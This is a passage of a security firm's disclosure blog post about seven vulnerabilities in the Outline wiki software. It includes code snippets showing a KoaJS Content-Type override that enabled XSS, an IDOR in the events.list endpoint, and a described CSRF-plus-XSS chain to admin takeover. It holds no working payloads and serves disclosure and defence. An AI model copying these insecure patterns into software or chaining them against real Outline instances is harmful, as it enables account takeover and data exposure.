&lt;p&gt;Doyensec researchers discovered and reported &lt;strong&gt;seven (7) unique vulnerabilities&lt;/strong&gt; affecting Outline OSS.&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; -webkit-overflow-scrolling: touch;&quot;&gt;
  &lt;table style=&quot;width:100%; border-collapse: collapse; min-width: 600px;&quot;&gt;
    &lt;thead&gt;
      &lt;tr&gt;
        &lt;th style=&quot;text-align:center; width:35%;&quot;&gt;ID&lt;/th&gt;
        &lt;th style=&quot;text-align:center; width:35%;&quot;&gt;Title&lt;/th&gt;
        &lt;th style=&quot;text-align:center; width:15%;&quot;&gt;Class&lt;/th&gt;
        &lt;th style=&quot;text-align:center; width:15%;&quot;&gt;Severity&lt;/th&gt;
        &lt;th style=&quot;text-align:center; width:10%;&quot;&gt;Discoverer&lt;/th&gt;
      &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-01&lt;/td&gt;
        &lt;td&gt;Multiple Blind SSRF&lt;/td&gt;
        &lt;td&gt;SSRF&lt;/td&gt;
        &lt;td&gt;Medium&lt;/td&gt;
        &lt;td&gt;🤖🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-02&lt;/td&gt;
        &lt;td&gt;Vite Path Traversal&lt;/td&gt;
        &lt;td&gt;Injection Flaws&lt;/td&gt;
        &lt;td&gt;Low&lt;/td&gt;
        &lt;td&gt;🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-03&lt;/td&gt;
        &lt;td&gt;CSRF via Sibling Domains&lt;/td&gt;
        &lt;td&gt;CSRF&lt;/td&gt;
        &lt;td&gt;Medium&lt;/td&gt;
        &lt;td&gt;🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-04&lt;/td&gt;
        &lt;td&gt;Local File Storage CSP Bypass&lt;/td&gt;
        &lt;td&gt;Insecure Design&lt;/td&gt;
        &lt;td&gt;Low&lt;/td&gt;
        &lt;td&gt;🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-05&lt;/td&gt;
        &lt;td&gt;Insecure Comparison in VerificationCode&lt;/td&gt;
        &lt;td&gt;Insufficient Cryptography&lt;/td&gt;
        &lt;td&gt;Low&lt;/td&gt;
        &lt;td&gt;🤖🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-06&lt;/td&gt;
        &lt;td&gt;ContentType Bypass&lt;/td&gt;
        &lt;td&gt;Insecure Design&lt;/td&gt;
        &lt;td&gt;Medium&lt;/td&gt;
        &lt;td&gt;🙍‍♂️&lt;/td&gt;
      &lt;/tr&gt;
      &lt;tr&gt;
        &lt;td&gt;OUT-Q325-07&lt;/td&gt;
        &lt;td&gt;Event Access&lt;/td&gt;
        &lt;td&gt;IDOR&lt;/td&gt;
        &lt;td&gt;Low&lt;/td&gt;
        &lt;td&gt;🤖&lt;/td&gt;
      &lt;/tr&gt;
    &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;Among the bugs we discovered, there are a few that require special mention:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OUT-Q325-01&lt;/strong&gt; (&lt;a href=&quot;https://github.com/outline/outline/security/advisories/GHSA-jfhx-7phw-9gq3&quot;&gt;GHSA-jfhx-7phw-9gq3&lt;/a&gt;) is a standard Server-Side Request Forgery bug allowing redirects, but having limited protocols support. Interestingly, this issue affects the self-hosted version only as the cloud release is protected using &lt;a href=&quot;https://www.npmjs.com/package/request-filtering-agent&quot;&gt;request-filtering-agent&lt;/a&gt;. While giving a quick look at this dependency, we realized that versions 1.x.x and earlier contained a vulnerability (&lt;a href=&quot;https://github.com/azu/request-filtering-agent/security/advisories/GHSA-pw25-c82r-75mm&quot;&gt;GHSA-pw25-c82r-75mm&lt;/a&gt;) where HTTPS requests to 127.0.0.1 bypass IP address filtering, while HTTP requests are correctly blocked. While newer versions of the library were already out, Outline was still using an old release, since no GitHub (or other) advisories were ever created for this issue. Whether intentionally or accidentally, this issue was silently fixed for many years.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OUT-Q325-02&lt;/strong&gt; (&lt;a href=&quot;https://github.com/sapphi-red/vite-plugin-static-copy/security/advisories/GHSA-pp7p-q8fx-2968&quot;&gt;GHSA-pp7p-q8fx-2968&lt;/a&gt;) turned out to be a bug in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vite-plugin-static-copy&lt;/code&gt; npm module. Luckily, it only affects Outline in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;development&lt;/code&gt; mode.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OUT-Q325-04&lt;/strong&gt; (&lt;a href=&quot;https://github.com/outline/outline/security/advisories/GHSA-gcj7-c9jv-fhgf&quot;&gt;GHSA-gcj7-c9jv-fhgf&lt;/a&gt;) was already exploited in this &lt;a href=&quot;https://blog.calif.io/p/type-confusion-attacks-in-prosemirror&quot;&gt;type confusion attack&lt;/a&gt;. In fact, browsers like Chrome and Firefox do not block script execution even if the script is served with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Content-Disposition: attachment&lt;/code&gt; as long as the content type is a valid &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;application/javascript&lt;/code&gt;. Please note that this issue does not affect the cloud-hosted version given it’s not using the local file storage engine altogether.&lt;/p&gt;

&lt;p&gt;Investigating this issue led to the discovery of &lt;strong&gt;OUT-Q325-06&lt;/strong&gt;, an even more interesting issue.&lt;/p&gt;

&lt;p&gt;Outline allows inline content for specific (safe) types of files as defined in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;server/storage/files/BaseStorage.ts&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;cm&quot;&gt;/**
   * Returns the content disposition for a given content type.
   *
   * @param contentType The content type
   * @returns The content disposition
   */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getContentDisposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;?:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;attachment&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;FileHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isAudio&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;FileHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;isVideo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;safeInlineContentTypes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;inline&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;attachment&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Despite this logic, the actual content type of the response was getting overridden. All Outline versions before v0.84.0 (May 2025) were actually vulnerable to Cross-Site Scripting because of this issue, and it was accidentally mitigated by adding the following CSP directive:&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Security-Policy&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sandbox&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When analyzing the root cause, it turned out to be an undocumented insecure behavior of &lt;a href=&quot;https://koajs.com/&quot;&gt;KoaJS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In Outline, the issue was caused by forcing the expected “Content-Type” before the use of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;response.attachment([filename], [options])&lt;/code&gt; .&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;attachment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fileName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;forceDownload&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;attachment&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;FileStorage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getContentDisposition&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;contentType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// this applies the safe allowed-list&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In fact, the &lt;a href=&quot;https://github.com/koajs/koa/blob/1ddb048adce65fdf11402cc19d7b8eae4e176f78/lib/response.js#L353&quot;&gt;attachment&lt;/a&gt; function performs an &lt;em&gt;unexpected&lt;/em&gt;:&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This insecure behavior is neither documented nor warned against by the framework. Inverting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctx.set&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctx.attachment&lt;/code&gt; is sufficient to fix the issue.&lt;/p&gt;

&lt;p&gt;Combining OUT-Q325-03, OUT-Q325-06 and Outline’s sharing capabilities, it is possible to take over an admin account, as shown in the following video, affecting the latest version of Outline at the time of testing:&lt;/p&gt;

&lt;p&gt;
&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot;&gt;
    &lt;source src=&quot;../../../public/images/OUTQ32503andOUTQ32504.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;/p&gt;

&lt;p&gt;Finally, &lt;strong&gt;OUT-Q325-07&lt;/strong&gt; (&lt;a href=&quot;https://github.com/outline/outline/security/advisories/GHSA-h9mv-vg9r-8c7c&quot;&gt;GHSA-h9mv-vg9r-8c7c&lt;/a&gt;) was discovered autonomously by a security AI platform. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;events.list&lt;/code&gt; API endpoint contains an IDOR vulnerability allowing users to view events for any actor or document within their team without proper authorization.&lt;/p&gt;

&lt;div class=&quot;language-typescript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;router&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;post&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;events.list&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;pagination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;validate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;EventsListSchema&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;APIContext&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;EventsListReq&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;auth&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;auditLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;actorId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;documentId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;collectionId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;sort&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;direction&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ctx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;WhereOptions&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Event&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;teamId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;teamId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;auditLog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;authorize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;audit&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;team&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;events&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;intersection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;EventHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AUDIT_EVENTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;EventHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;AUDIT_EVENTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;events&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;intersection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;EventHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ACTIVITY_EVENTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;events&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;EventHelper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ACTIVITY_EVENTS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[]).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;includes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;where&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

